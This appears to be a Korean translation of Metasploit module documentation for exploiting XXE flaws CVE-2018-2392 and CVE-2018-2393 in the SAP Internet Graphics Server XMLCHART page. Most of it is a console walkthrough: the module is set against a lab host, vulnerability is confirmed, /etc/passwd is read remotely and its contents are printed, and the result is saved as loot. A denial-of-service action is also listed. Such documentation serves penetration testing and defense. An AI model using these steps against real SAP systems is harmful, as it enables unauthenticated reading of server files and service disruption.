
SAP IGS XXE 공격 CVE-2018-2392 및 CVE-2018-2393
이 모듈은 SAP Internet Graphics Servers(IGS) 버전 7.20, 7.20EXT, 7.45, 7.49 또는 7.53을 실행하는 XMLCHART 페이지 내의 두 가지 XXE 취약점인 CVE-2018-2392 및 CVE-2018-2393을 악용합니다. 이러한 취약점은 새 차트를 생성하기 위해 XMLCHART 페이지에 POST 요청을 제출할 때 Extension HTML 태그에 대한 적절한 검증이 부족하여 발생합니다.
성공적으로 악용하면 인증되지 않은 원격 공격자가 IGS 서비스가 시작된 사용자(일반적으로 SAP 관리자 사용자)로 서버에서 파일을 읽을 수 있습니다. 또는 공격자는 XXE 취약점을 악용하여 취약한 SAP IGS 서버에 대한 서비스 거부 공격을 수행할 수 있습니다.
IGS(Internet Graphics Service)는 개발자가 최소한의 노력으로 인터넷 브라우저에 그래픽을 표시할 수 있는 인프라를 제공합니다. 이는 여러 SAP UI 기술에 통합되어 있으며, 다른 SAP 시스템이나 데이터 소스의 데이터를 사용하여 동적 그래픽 또는 비그래픽 출력을 생성하는 방법을 제공합니다.
SAP IGS 서버를 설치하고 업데이트하는 단계는 이 페이지에서 온라인으로 확인할 수 있습니다. IGS 서버 구성에 대한 추가 정보는 여기에서 확인할 수 있습니다. 마지막으로 IGS 서버 관리에 대한 정보는 여기에서 확인할 수 있습니다.
설정 및 구성이 완료되면 인스턴스는 기본 HTTP 포트 40080에서 취약해집니다.
workspace [WORKSPACE]use auxiliary/admin/sap/sap_igs_xmlchart_xxeset RHOSTS [IP]set FILE [원격 파일 이름]set action READcheckcheck 메서드가 대상이 취약한지 여부를 올바르게 식별하는지 확인합니다.run원격 서버에서 읽을 파일입니다. 예: /etc/passwd
XXE에 취약한 SAP IGS 서버의 XMLCHART 페이지 경로입니다.
기본적으로 /XMLCHART로 설정되어 있지만, SAP IGS 서버가 웹 루트 아래 다른 경로에 설치된 경우 변경할 수 있습니다.
예를 들어 SAP IGS 서버가 웹 루트 아래 /igs/ 경로에 설치된 경우 이 값은 /igs/XMLCHART로 설정됩니다.
Name Description
---- -----------
READ Remote file read
DOS Denial Of Service
msf6 > workspace -a SAP_TEST
[*] Added workspace: SAP_TEST
[*] Workspace: SAP_TEST
msf6 > use auxiliary/admin/sap/sap_igs_xmlchart_xxe
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set RHOSTS 172.16.30.29
RHOSTS => 172.16.30.29
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set FILE /etc/passwd
FILE => /etc/passwd
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set action READ
action => READ
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set Proxies http:127.0.0.1:8080
Proxies => http:127.0.0.1:8080
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > options
Module options (auxiliary/admin/sap/sap_igs_xmlchart_xxe):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd no File to read from the remote server
Proxies http:127.0.0.1:8080 no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.30.29 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 40080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URIPATH /XMLCHART yes Path to the SAP IGS XMLCHART page from the web root
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
READ Remote file read
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > check
[+] 172.16.30.29:40080 - The target is vulnerable. 172.16.30.29 running OS: SUSE Linux Enterprise Server for SAP Applications 12 SP1 returned a response indicating that its XMLCHART page is vulnerable to XXE!
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > run
[*] Running module against 172.16.30.29
[+] File: /etc/passwd content from host: 172.16.30.29
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:107:112:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
haldaemon:x:101:102:User for haldaemon:/var/run/hald:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
messagebus:x:100:101:User for D-Bus:/var/run/dbus:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
ntp:x:74:108:NTP daemon:/var/lib/ntp:/bin/false
polkituser:x:104:107:PolicyKit:/var/run/PolicyKit:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
pulse:x:105:109:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
puppet:x:103:106:Puppet daemon:/var/lib/puppet:/bin/false
root:x:0:0:root:/root:/bin/bash
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
suse-ncc:x:106:111:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
admin:x:1000:100:admin:/home/admin:/bin/bash
j45adm:x:1001:1001:SAP System Administrator:/home/j45adm:/bin/csh
sybj45:x:1002:1001:SAP Database Administrator:/sybase/J45:/bin/csh
sapadm:x:1003:1001:SAP System Administrator:/home/sapadm:/bin/false
[+] File: /etc/passwd saved in: /Users/vladimir/.msf4/loot/20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.30.29 40080 tcp http open SAP Internet Graphics Server (IGS)
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > vulns
Vulnerabilities
===============
Timestamp Host Name References
--------- ---- ---- ----------
2020-10-07 10:12:37 UTC 172.16.30.29 SAP Internet Graphics Server (IGS) XMLCHART XXE CVE-2018-2392,CVE-2018-2393,URL-https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.30.29 igs.xmlchart.xxe /etc/passwd text/plain SAP IGS XMLCHART XXE /Users/vladimir/.msf4/loot/01619fd331da98b5ac4d-20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt


